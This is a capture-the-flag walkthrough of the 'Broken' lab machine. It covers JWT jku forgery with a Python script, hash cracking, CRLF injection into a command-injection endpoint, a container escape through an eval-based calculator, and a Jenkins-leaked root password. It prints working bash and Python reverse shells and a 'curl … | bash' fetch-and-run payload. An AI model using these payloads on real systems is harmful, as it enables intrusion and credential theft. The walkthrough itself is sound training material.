Broken
Summary
Broken is a HackingClub machine that demonstrates a complex multi-stage attack chain involving subdomain enumeration, JWT exploitation via JKU parameter manipulation, file read vulnerabilities, CRLF injection, Python code injection, and Jenkins privilege escalation. The initial compromise was achieved through discovering a JWT implementation that improperly validates the jku (JSON Web Key Set URL) parameter, allowing us to forge admin tokens by hosting our own JWKS endpoint. After gaining admin access to the API, we extracted and cracked the admin password hash to access Gitea. Through subdomain enumeration, we discovered a development subdomain with a file read vulnerability that we exploited using CRLF injection to achieve SSRF and command injection. This led to initial system access in a container, where we exploited a Python calculator service to escape to the host system. Finally, we leveraged Jenkins credentials to escalate privileges to root.
Initial Enumeration
We begin by testing connectivity to the target machine:
1
curl -I 172.16.5.57
Response:
1
2
3
4
5
6
7
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 23 Nov 2025 05:12:15 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://broken.hc/
Discovery: The server redirects to
http://broken.hc/, indicating a virtual host configuration. We need to add this to our hosts file.
Host Configuration
We add the domain to our hosts file:
1
echo '172.16.5.57 broken.hc' | sudo tee -a /etc/hosts
Main Application
Accessing the main site reveals an “Under Maintenance” page:
The main site is under maintenance, so we need to enumerate subdomains to find other attack surfaces.
Subdomain Enumeration
We perform subdomain enumeration using ffuf with a DNS wordlist:
1
ffuf -u http://broken.hc -H 'Host: FUZZ.broken.hc' -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -ic -c -fs 154
Command Breakdown:
-u http://broken.hc: Target URL-H 'Host: FUZZ.broken.hc': Host header with FUZZ placeholder for subdomain enumeration-w: Wordlist file-ic: Ignore comments in wordlist-c: Colorize output-fs 154: Filter out responses with size 154 (the maintenance page size)
Results:
1
2
api [Status: 200, Size: 440, Words: 53, Lines: 19, Duration: 213ms]
git [Status: 200, Size: 13439, Words: 1040, Lines: 241, Duration: 204ms]
Key Discovery: We found two subdomains:
api.broken.hc- An API endpointgit.broken.hc- A Git hosting service (likely Gitea)
We update our hosts file:
1
echo '172.16.5.57 api.broken.hc git.broken.hc' | sudo tee -a /etc/hosts
API Discovery and JWT Analysis
Exploring the API
Accessing api.broken.hc reveals a broken API interface:
Directory Enumeration
We perform directory enumeration using dirsearch:
1
dirsearch -u http://api.broken.hc
Key Findings:
1
2
3
[18:20:44] 200 - 459B - /.well-known/jwks.json
[18:23:37] 200 - 440B - /index.html
[18:24:03] 301 - 161B - /v1/api-docs -> /v1/api-docs/
Critical Discovery: The API exposes a JWKS (JSON Web Key Set) endpoint at
/.well-known/jwks.json. This suggests the API uses JWT for authentication.
JWKS Endpoint Analysis
We retrieve the JWKS configuration:
1
curl http://api.broken.hc/.well-known/jwks.json
Response:
1
2
3
4
5
6
7
8
9
10
{
"keys": [
{
"kty": "RSA",
"n": "mocQ1bU9l4Y8VNwCQ12NfDpUIDutZnDOMN5eMW2rNFDEGJDMPV6gYelTBFAhG7inwIw01ffz9-hxG4ANmAWuup3t-i1SqHKgkA7pF7IZn6Cw4on7tfOi0wzjlaMhyEYBrdzZAz-jbWyG7iGgSNiCY54f6jI36bhCQwkU_hu6xB4suRyZXOdPAad61pRM08TCBwCOrK6LXvdUf11AtdFeNyQysp4TRaPRpdDa9zTbuG8D6d5ALxLLnN6-P6vjGWNP1CtMCMgv51iIbmJxz8CNAU6PT9Um4Sd5nUdIFAIpMVnUtuVEYIvRQ-vJD1QkNbX5jTMayUgyeCeXJqkbrGK_WQ",
"e": "AQAB",
"kid": "a1b2c3d4e5f6g7h8"
}
]
}
The JWKS contains an RSA public key with key ID
a1b2c3d4e5f6g7h8. This key is used to verify JWT signatures.
Swagger Documentation
Accessing /v1/api-docs/ reveals Swagger API documentation:
The API provides endpoints for:
/register- User registration/login- User authentication (returns JWT)/admin/*- Admin endpoints (require admin privileges)
User Registration and Login
We register a test user:
1
2
3
curl -X POST http://api.broken.hc/register \
-H 'Content-Type: application/json' \
-d '{"username":"railoca","password":"railoca"}'
Response:
1
{"message":"User registered successfully","id":3}
We then login to obtain a JWT token:
1
curl -X POST http://api.broken.hc/login --json '{"username":"railoca","password":"railoca"}'
Response:
1
{"token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImExYjJjM2Q0ZTVmNmc3aDgiLCJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjQwMDAvLndlbGwta25vd24vandrcy5qc29uIn0.eyJ1c2VybmFtZSI6InJhaWxvY2EiLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTc2Mzg3NTg4M30.Bcs6RInnUssL4Cg_aMUtrTXF_rrU35miTqwPZ2OwJAxzoXDK6P_qUma2iM1EiQZqjDq_FgY03a5FnS6ZECh08c8i8bXi4qgTyujr6BMbaOvGHWlfw1HbaTo0jS2RDQYS7br0FZNvt3TqVLONNYxfPG7Kfu_KdwcRFUH7z6egRysEkxFwbSXzIMeCqfOtZhXDbqtwiXAJ_KwjmkADFSKjPovq_ndO45iUSghjXBieNrvIfaFtUumUUDfJY08E44ffPWIt8J0WxpBoPrPBgjv7gNtFs4ok3Rg2dYpApLV3NKduX2XcypIGiNlDfahsFjdS_h9CZ2BqYOfY_F3Hmebhcg"}
JWT Token Analysis
We decode the JWT token to examine its structure:
1
2
3
JWT="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImExYjJjM2Q0ZTVmNmc3aDgiLCJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjQwMDAvLndlbGwta25vd24vandrcy5qc29uIn0.eyJ1c2VybmFtZSI6InJhaWxvY2EiLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTc2Mzg3NTg4M30.Bcs6RInnUssL4Cg_aMUtrTXF_rrU35miTqwPZ2OwJAxzoXDK6P_qUma2iM1EiQZqjDq_FgY03a5FnS6ZECh08c8i8bXi4qgTyujr6BMbaOvGHWlfw1HbaTo0jS2RDQYS7br0FZNvt3TqVLONNYxfPG7Kfu_KdwcRFUH7z6egRysEkxFwbSXzIMeCqfOtZhXDbqtwiXAJ_KwjmkADFSKjPovq_ndO45iUSghjXBieNrvIfaFtUumUUDfJY08E44ffPWIt8J0WxpBoPrPBgjv7gNtFs4ok3Rg2dYpApLV3NKduX2XcypIGiNlDfahsFjdS_h9CZ2BqYOfY_F3Hmebhcg"
printf "HEADER:\n"; echo "$JWT" | cut -d '.' -f1 | tr '_-' '/+' | base64 -d 2>/dev/null | jq
printf "\nPAYLOAD:\n"; echo "$JWT" | cut -d '.' -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq
Decoded Header:
1
2
3
4
5
6
{
"alg": "RS256",
"typ": "JWT",
"kid": "a1b2c3d4e5f6g7h8",
"jku": "http://localhost:4000/.well-known/jwks.json"
}
Decoded Payload:
1
2
3
4
5
{
"username": "railoca",
"admin": false,
"iat": 1763875883
}
Critical Vulnerability: The JWT header contains a
jku(JSON Web Key Set URL) parameter pointing tohttp://localhost:4000/.well-known/jwks.json. This is a red flag indicating that the JWT verification process may fetch the public key from an external URL. If the backend doesn’t properly validate thejkudomain, we can host our own JWKS endpoint and forge admin tokens.
JWT JKU Parameter Exploitation
Understanding the Vulnerability
The jku parameter tells the JWT verifier: “Fetch the key from this URL to verify me.” If the backend doesn’t validate the jku domain, we can:
- Generate our own RSA keypair
- Host our own JWKS endpoint with our public key
- Sign a JWT with our private key, setting
admin: truein the payload - Point the
jkuto our malicious JWKS endpoint - The server will fetch our key and verify our forged token
Generating RSA Keypair
We generate a new RSA keypair:
1
2
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
Creating JWKS Endpoint
We create a JWKS file and forge a JWT token:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# forge.py
# /// script
# requires-python = ">=3.12"
# dependencies = [
# "pyjwt",
# "jwcrypto",
# ]
# ///
import jwt, json
from jwcrypto import jwk
# === Config ===
PRIVATE_KEY_FILE = "private.pem"
PUBLIC_KEY_FILE = "public.pem"
JWKS_FILE = "jwks.json"
KID = "evil"
JKU = "http://10.0.72.105:8000/jwks.json" # Our attacker-controlled server
# === 1. Load keys ===
with open(PRIVATE_KEY_FILE, "rb") as f:
private_key = f.read()
with open(PUBLIC_KEY_FILE, "rb") as f:
public_pem = f.read()
# === 2. Build JWKS ===
key = jwk.JWK.from_pem(public_pem)
jwk_dict = key.export(as_dict=True, private_key=False)
jwk_dict["kid"] = KID
jwks = {"keys": [jwk_dict]}
with open(JWKS_FILE, "w") as f:
json.dump(jwks, f, indent=2)
print(f"[+] JWKS saved to {JWKS_FILE}")
# === 3. Forge JWT ===
payload = {
"username": "attacker",
"admin": True # Set admin to true!
}
headers = {
"alg": "RS256",
"typ": "JWT",
"kid": KID,
"jku": JKU # Point to our malicious JWKS endpoint
}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print("[+] Forged token:\n")
print(token)
Execution:
1
uv run forge.py
Output:
1
2
3
4
[+] JWKS saved to jwks.json
[+] Forged token:
eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMC4wLjcyLjEwNTo4MDAwL2p3a3MuanNvbiIsImtpZCI6ImV2aWwiLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwiYWRtaW4iOnRydWV9.F-pSG4vcugRWHrHvu3HjC03XGaaAQ4-GNDmC6FLjEmTfSRQJnY2pMutl6RulAAtbnM3FJJt-rkThPXV36_SzC4t7bh4mpVKxqxoBYvot5sDbUWdvBLw4C9mC1GyjbEsmYLHJV1vBz0J1yBfNr6qBoorGqBz5-aG9W-UJ5JD2G915L0AITlJwmsHrKLhgA2wz6GxrknpS4_90L-a0y1ylVQHYZyB-VgOdnzZJJddEutoZLm5inclf43G5N0UNveVXfddIcHwK_Pau-xGFBqnQ90N8hIJQe0OCFwyR6B3OxsyGrOg7Ut3GNW0cOj6Ksyh2_JT2oZ4d8rPIYC1Elte3Pw
Hosting JWKS Endpoint
We start a Python HTTP server to host our JWKS endpoint:
1
python3 -m http.server 8000
Testing Admin Access
We test our forged admin token by accessing the admin users endpoint:
1
2
curl http://api.broken.hc/admin/users \
-H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMC4wLjcyLjEwNTo4MDAwL2p3a3MuanNvbiIsImtpZCI6ImV2aWwiLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwiYWRtaW4iOnRydWV9.F-pSG4vcugRWHrHvu3HjC03XGaaAQ4-GNDmC6FLjEmTfSRQJnY2pMutl6RulAAtbnM3FJJt-rkThPXV36_SzC4t7bh4mpVKxqxoBYvot5sDbUWdvBLw4C9mC1GyjbEsmYLHJV1vBz0J1yBfNr6qBoorGqBz5-aG9W-UJ5JD2G915L0AITlJwmsHrKLhgA2wz6GxrknpS4_90L-a0y1ylVQHYZyB-VgOdnzZJJddEutoZLm5inclf43G5N0UNveVXfddIcHwK_Pau-xGFBqnQ90N8hIJQe0OCFwyR6B3OxsyGrOg7Ut3GNW0cOj6Ksyh2_JT2oZ4d8rPIYC1Elte3Pw"
Response:
1
2
3
4
5
[
{"id":1,"username":"admin","password":"$2b$10$YzpZJ7ul8qR4tPCEUWeg1eRYbvHHvwjOmWYl1pBGBgpa0JolfqHGe","admin":1},
{"id":2,"username":"test1","password":"$2b$10$OrZ04UJgAUfrQX7fngKFGOFp9KYIQBVNVyKdngmxBkfbmz3uGreYO","admin":0},
{"id":3,"username":"railoca","password":"$2b$10$ea3WSKzqPykljA3.AiyhY.gLvpcc.G3IOMlSbQGaI.I9dV2j7cTxq","admin":0}
]
Server Output:
1
2
3
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.0.72.105 - - [22/Nov/2025 18:37:35] "GET /jwks.json HTTP/1.1" 200 -
172.16.5.57 - - [22/Nov/2025 18:38:30] "GET /jwks.json HTTP/1.1" 200 -
Success: The target server fetched our JWKS endpoint! This confirms that the
jkuparameter is not properly validated. And we successfully accessed the admin endpoint and retrieved all user credentials, including password hashes!
Admin Access and Password Extraction
Extracting Admin Password Hash
We extract the admin password hash:
1
2
3
curl -s http://api.broken.hc/admin/users \
-H "Authorization: Bearer [FORGED_TOKEN]" | \
jq '.[]|select(.username=="admin")|.password' -r
Output:
1
$2b$10$YzpZJ7ul8qR4tPCEUWeg1eRYbvHHvwjOmWYl1pBGBgpa0JolfqHGe
The password hash uses bcrypt (
$2b$), which is a strong hashing algorithm. We’ll attempt to crack it.
Cracking the Password Hash
We save the hash and attempt to crack it using hashcat:
1
2
echo '$2b$10$YzpZJ7ul8qR4tPCEUWeg1eRYbvHHvwjOmWYl1pBGBgpa0JolfqHGe' > admin.hash
hashcat admin.hash /opt/rockyou.txt -O -m 3200 --show
Hash Type:
-m 3200corresponds to bcrypt (Blowfish(OpenBSD))
Result:
1
$2b$10$YzpZJ7ul8qR4tPCEUWeg1eRYbvHHvwjOmWYl1pBGBgpa0JolfqHGe:september
Success: The admin password is
september!
Gitea Access
We access the Gitea instance at git.broken.hc and login with the admin credentials:
We successfully logged into Gitea as admin. This may reveal additional information or credentials.
Development Subdomain Discovery
While exploring Gitea, we discover a reference to check-development.broken.hc:
We add this subdomain to our hosts file and explore it:
File Read Vulnerability
Testing the File Read Endpoint
We test the /page endpoint:
1
curl http://check-development.broken.hc/page/a
Response:
1
2
<br />
<b>Warning</b>: readfile(a): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />
Discovery: The error message reveals the source code location and suggests a file read vulnerability using PHP’s
readfile()function.
Reading Source Code
We read the source code by accessing index.php:
1
curl http://check-development.broken.hc/page/index.php
Source Code:
1
2
3
4
5
6
7
8
9
10
<?php
$page = $_GET['page'];
if (isset($page)) {
readfile($page);
} else {
header('Location: /index.php?page=index.html');
}
?>
Critical Observation: There’s a fundamental mismatch between the URL structure and the PHP code:
- URL Structure:
/page/index.php(path-based routing)- Code Expectation:
$_GET['page'](query parameter-based)How we inferred the proxy:
- When we access
/page/index.php, we see the PHP source code that expects$_GET['page']- However, the URL uses path-based routing (
/page/filename) instead of query parameters (?page=filename)- This means something between the client and PHP is transforming
/page/filename→index.php?page=filename- This transformation is performed by a reverse proxy (likely Apache mod_rewrite, Nginx rewrite rules, or a dedicated proxy)
Proxy behavior: The proxy receives requests to
/page/*and internally rewrites them toindex.php?page=*before forwarding to the PHP backend. Everything after/page/becomes the value of thepagequery parameter.
Directory Enumeration
We enumerate directories to find additional files:
1
2
3
ffuf -u http://check-development.broken.hc/page/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-ic -c -mc 200 -e .php -fr "failed to open stream"
Results:
1
2
index.php [Status: 200, Size: 148, Words: 16, Lines: 11, Duration: 151ms]
check.php [Status: 200, Size: 136, Words: 19, Lines: 7, Duration: 152ms]
1
2
3
4
5
6
<?php
if (isset($_POST['domain'])) {
$secret = $_POST['domain'];
echo "Output:" . shell_exec("nslookup " . $secret);
}
?>
We discovered
check.php, which may contain additional functionality.
CRLF Injection Attack
Understanding the Proxy Behavior and Attack Vector
Now that we’ve identified the proxy’s rewrite behavior (/page/* → index.php?page=*), we can exploit this transformation. The key insight is:
Normal flow:
1
2
3
4
5
6
7
8
9
Client Request: GET /page/test
↓
Proxy receives: /page/test
↓
Proxy rewrites: index.php?page=test
↓
PHP receives: $_GET['page'] = 'test'
↓
PHP executes: readfile('test')
The vulnerability: The proxy’s rewrite rule doesn’t validate or sanitize what comes after /page/. Since everything after /page/ becomes the value of the page parameter, we can inject any content, including HTTP protocol elements (newlines, headers, etc.).
Attack strategy:
readfile()inindex.phpcan only read files - no command executioncheck.phphasshell_exec()- but requires aPOSTrequest withdomainparameter- We can only send
GETrequests to/page/*endpoint - Solution: Embed a complete
POSTrequest to/check.phpwithin the path parameter, using newlines to separate it from the original request
This is a CRLF Injection attack where we exploit the proxy’s parsing behavior:
- Proxy: Parses the path and interprets
\r\n(CRLF) characters as HTTP protocol delimiters - Backend: Receives the embedded POST request that was injected via CRLF characters
Crafting the Attack
We craft a malicious payload that embeds a complete HTTP POST request within the file path. The payload structure mimics a complete HTTP request that will be embedded in the path:
Payload Structure:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
test HTTP/1.1\r\n
Host: check-development.broken.hc\r\n
User-Agent: curl/8.17.0\r\n
Connection: keep-alive\r\n
\r\n
POST /check.php HTTP/1.1\r\n
Host: check-development.broken.hc\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 43\r\n
\r\n
domain=;curl 10.0.72.105:8000/rev.sh | bash;\r\n
\r\n
GET /test HTTP/1.1\r\n
Host: check-development.broken.hc\r\n
\r\n
Attack flow:
- Client sends:
GET /page/[entire_payload]where payload contains newlines (\r\n) - Proxy receives: The path
/page/test HTTP/1.1\r\n...with embedded HTTP request - Proxy behavior (vulnerable):
- The proxy’s rewrite rule may not properly handle newlines in the path
- When it encounters
\r\n(HTTP line endings), it may interpret them as request boundaries - The proxy may forward the embedded
POST /check.phprequest as a separate request
- Backend receives:
- The embedded POST request to
/check.phpwith our command injection payload check.phpprocessesdomain=;curl 10.0.72.105:8000/rev.sh | bash;- Command injection executes via
shell_exec("nslookup " . $secret)
- The embedded POST request to
Why this works:
- The proxy’s rewrite rule (
/page/*→?page=*) doesn’t sanitize the path component - Newlines (
\r\n) are valid HTTP protocol delimiters - When the proxy encounters these delimiters in the path, it may incorrectly parse them as separate requests
- The embedded POST request gets forwarded to the backend, bypassing the normal
readfile()flow
We URL-encode this payload (newlines become %0D%0A, spaces become %20, etc.) and send it:
1
2
curl --raw --path-as-is \
'http://check-development.broken.hc/page/test%20HTTP/1.1%0D%0AHost:%20check-development.broken.hc%0D%0AUser-Agent:%20curl%0D%0AConnection:%20keep-alive%0D%0A%0D%0APOST%20/check.php%20HTTP/1.1%0D%0AHost:%20check-development.broken.hc%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2043%0D%0A%0D%0Adomain=%3bcurl%2010.0.72.105:8000/rev.sh%20%7c%20bash%3b%0D%0A%0D%0AGET%20/test%20HTTP/1.1%0D%0AHost:%20check-development.broken.hc%0D%0A%0D%0A'
Technical Deep Dive - CRLF Injection Attack:
This attack is a CRLF (Carriage Return Line Feed) Injection vulnerability, not traditional request smuggling. CRLF injection occurs when we can inject HTTP protocol delimiters (
\r\n) into user-controlled input:
- Normal flow:
/page/test→ Proxy rewrites →index.php?page=test→readfile('test')- Attack flow:
/page/test\r\nPOST /check.php...→ Proxy encounters\r\n→ Proxy interprets as HTTP line endings → Embedded POST request is parsed and forwardedCRLF Injection mechanism:
\r\n(CRLF) are the standard HTTP line delimiters (carriage return + line feed)- When injected into the path, the proxy’s parser may interpret them as actual HTTP protocol delimiters
- This allows us to inject HTTP headers or even complete requests within the path parameter
- The proxy doesn’t sanitize these control characters, treating them as valid HTTP syntax
Why this works:
- The proxy’s rewrite rule (
/page/*→?page=*) doesn’t sanitize or escape CRLF characters- When the proxy processes the path and encounters
\r\n, it may interpret them as request boundaries- The embedded POST request after the CRLF gets parsed as a separate HTTP request
- This effectively allows us to inject a POST request through a GET endpoint parameter
This is a CRLF injection attack - we’re injecting a second HTTP request (POST to
/check.php) by exploiting how the proxy parses CRLF characters (\r\n) in the path parameter. The CRLF characters act as HTTP protocol delimiters, causing the proxy to interpret our injected content as a separate request.
Preparing Reverse Shell
We create a reverse shell script:
1
2
#!/bin/bash
bash -i >& /dev/tcp/10.0.72.105/9999 0>&1
We host this on our server and ensure it’s accessible.
Executing the Attack
After sending the curl command, we successfully trigger the command injection. Our server receives the request:
1
172.16.5.57 - - [22/Nov/2025 19:10:22] "GET /rev.sh HTTP/1.1" 200 -
Success: The target server fetched our reverse shell script, indicating command execution!
Initial Foothold
We receive a reverse shell connection:
1
nc -lvnp 9999
Output:
1
2
3
4
Connection from 172.16.5.57:45504
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cb051c3bee38:/var/www/html$
Initial Access: We have a shell as
www-datain a container (cb051c3bee38). We need to escape to the host system.
Discovering Calculator Service
We explore the /opt directory:
1
2
cd /opt
ls -la
Output:
1
2
3
4
total 12
drwxr-xr-x 1 root root 4096 Sep 14 21:56 .
drwxr-xr-x 1 root root 4096 Sep 14 21:53 ..
-rw-r--r-- 1 root root 382 Sep 14 22:09 calculator.py
We examine calculator.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import socket
HOST_IP = '172.17.0.1'
PORT = 1775
def client():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST_IP, PORT))
expression = input("Enter your expression to evaluate: ")
s.sendall(expression.encode())
data = s.recv(1024).decode()
print(f"Result: {data}")
if __name__ == "__main__":
client()
Discovery: The script connects to
172.17.0.1:1775, which is likely the Docker host. The service appears to evaluate mathematical expressions. If the server useseval()or similar, we may be able to inject Python code.
Calculator.py Exploitation
Testing Code Injection
We first test if we can execute Python code:
1
python3 calculator.py
Input:
1
os.system(id)
Output:
1
Result: Error: name 'os' is not defined
The server evaluates the expression, but
osis not imported. We need to use__import__()to import modules.
Successful Code Injection
We inject Python code to execute a reverse shell:
1
python3 calculator.py
Input:
1
__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.72.105/9999 0>&1"')
Success: We receive a reverse shell connection from the host system!
Output:
1
2
3
4
Connection from 172.16.5.57:35738
bash: cannot set terminal process group (2030): Inappropriate ioctl for device
bash: no job control in this shell
leonardo@ip-172-16-5-57:/opt$
Privilege Escalation: We now have a shell as
leonardoon the host system (ip-172-16-5-57)!
Privilege Escalation to Root
Jenkins Discovery
We discover Jenkins running on the system. We check for Jenkins tokens:
1
cat /etc/jenkins_token
We export the token and test Jenkins API access:
1
2
export JENKINS_TOKEN=$(tail -n 1 /etc/jenkins_token)
curl -u ek1l:$JENKINS_TOKEN 'http://127.0.0.1:8080/api/json?tree=jobs%5Bname,url%5D'
Response:
1
{"_class":"hudson.model.Hudson","jobs":[{"_class":"hudson.model.FreeStyleProject","name":"project","url":"http://127.0.0.1:8080/job/project/"}]}
We have access to Jenkins! We can enumerate jobs and potentially execute commands.
Jenkins Job Enumeration
We retrieve job details:
1
curl -u ek1l:$JENKINS_TOKEN "http://127.0.0.1:8080/job/project/api/json?pretty=true"
We examine the build console output:
1
curl -u ek1l:$JENKINS_TOKEN "http://127.0.0.1:8080/job/project/1/consoleText"
Output:
1
2
3
4
5
6
7
Started from command line by ek1l
Running as SYSTEM
Building in workspace /var/jenkins_home/workspace/project
[project] $ /bin/sh -xe /tmp/jenkins131674156726906867.sh
+ MY_VAR1=root
+ MY_VAR2=ex3ZDK1I4Lxmm77wzp0wCic3Bno7hXu2iX4VeSeZj
...
Discovery: The Jenkins job runs as
SYSTEMand setsMY_VAR1=root. This suggests we may be able to modify the job to execute commands as root.
Root Access
We attempt to switch to root using the discovered password:
1
su root
Password: ex3ZDK1I4Lxmm77wzp0wCic3Bno7hXu2iX4VeSeZj (from MY_VAR2)
Success: We successfully switch to root!
Verification:
1
2
3
root@ip-172-16-5-57:/home/leonardo# cd /root
root@ip-172-16-5-57:~# ls
root.txt snap
Conclusion
Quick Recap
- Initial Enumeration: Discovered subdomains
api.broken.hcandgit.broken.hc - JWT Exploitation: Exploited improper
jkuparameter validation to forge admin tokens - Password Extraction: Extracted and cracked admin password hash from API
- Gitea Access: Logged into Gitea with admin credentials
- Subdomain Discovery: Found
check-development.broken.hcwith file read vulnerability - CRLF Injection: Exploited file read vulnerability via CRLF injection to achieve SSRF and command injection
- Container Escape: Exploited Python calculator service to escape container
- Privilege Escalation: Used Jenkins credentials to escalate to root
Lessons Learned
- JWT Security: The
jkuparameter must be strictly validated to prevent external key set injection attacks - File Read Vulnerabilities: Direct use of user input in file operations can lead to SSRF and command injection
- Container Security: Services exposed from containers to the host can be exploited to escape containers
- Code Injection: User input in expression evaluators must be sanitized to prevent code injection
- Jenkins Security: Jenkins tokens and job configurations must be properly secured
- Defense in Depth: Multiple security controls should protect critical systems and credentials
Attack Chain Summary
- Subdomain Enumeration → Discovered API and Git subdomains
- JWT Analysis → Identified vulnerable
jkuparameter - Token Forgery → Hosted malicious JWKS and forged admin token
- Password Extraction → Retrieved and cracked admin password hash
- Gitea Access → Logged into Git repository
- Development Subdomain → Discovered file read vulnerability
- CRLF Injection → Achieved SSRF and command injection
- Container Escape → Exploited Python calculator service
- Privilege Escalation → Used Jenkins to gain root access
This machine demonstrates the importance of proper input validation, secure JWT implementation, and defense-in-depth security practices across all layers of an application stack.






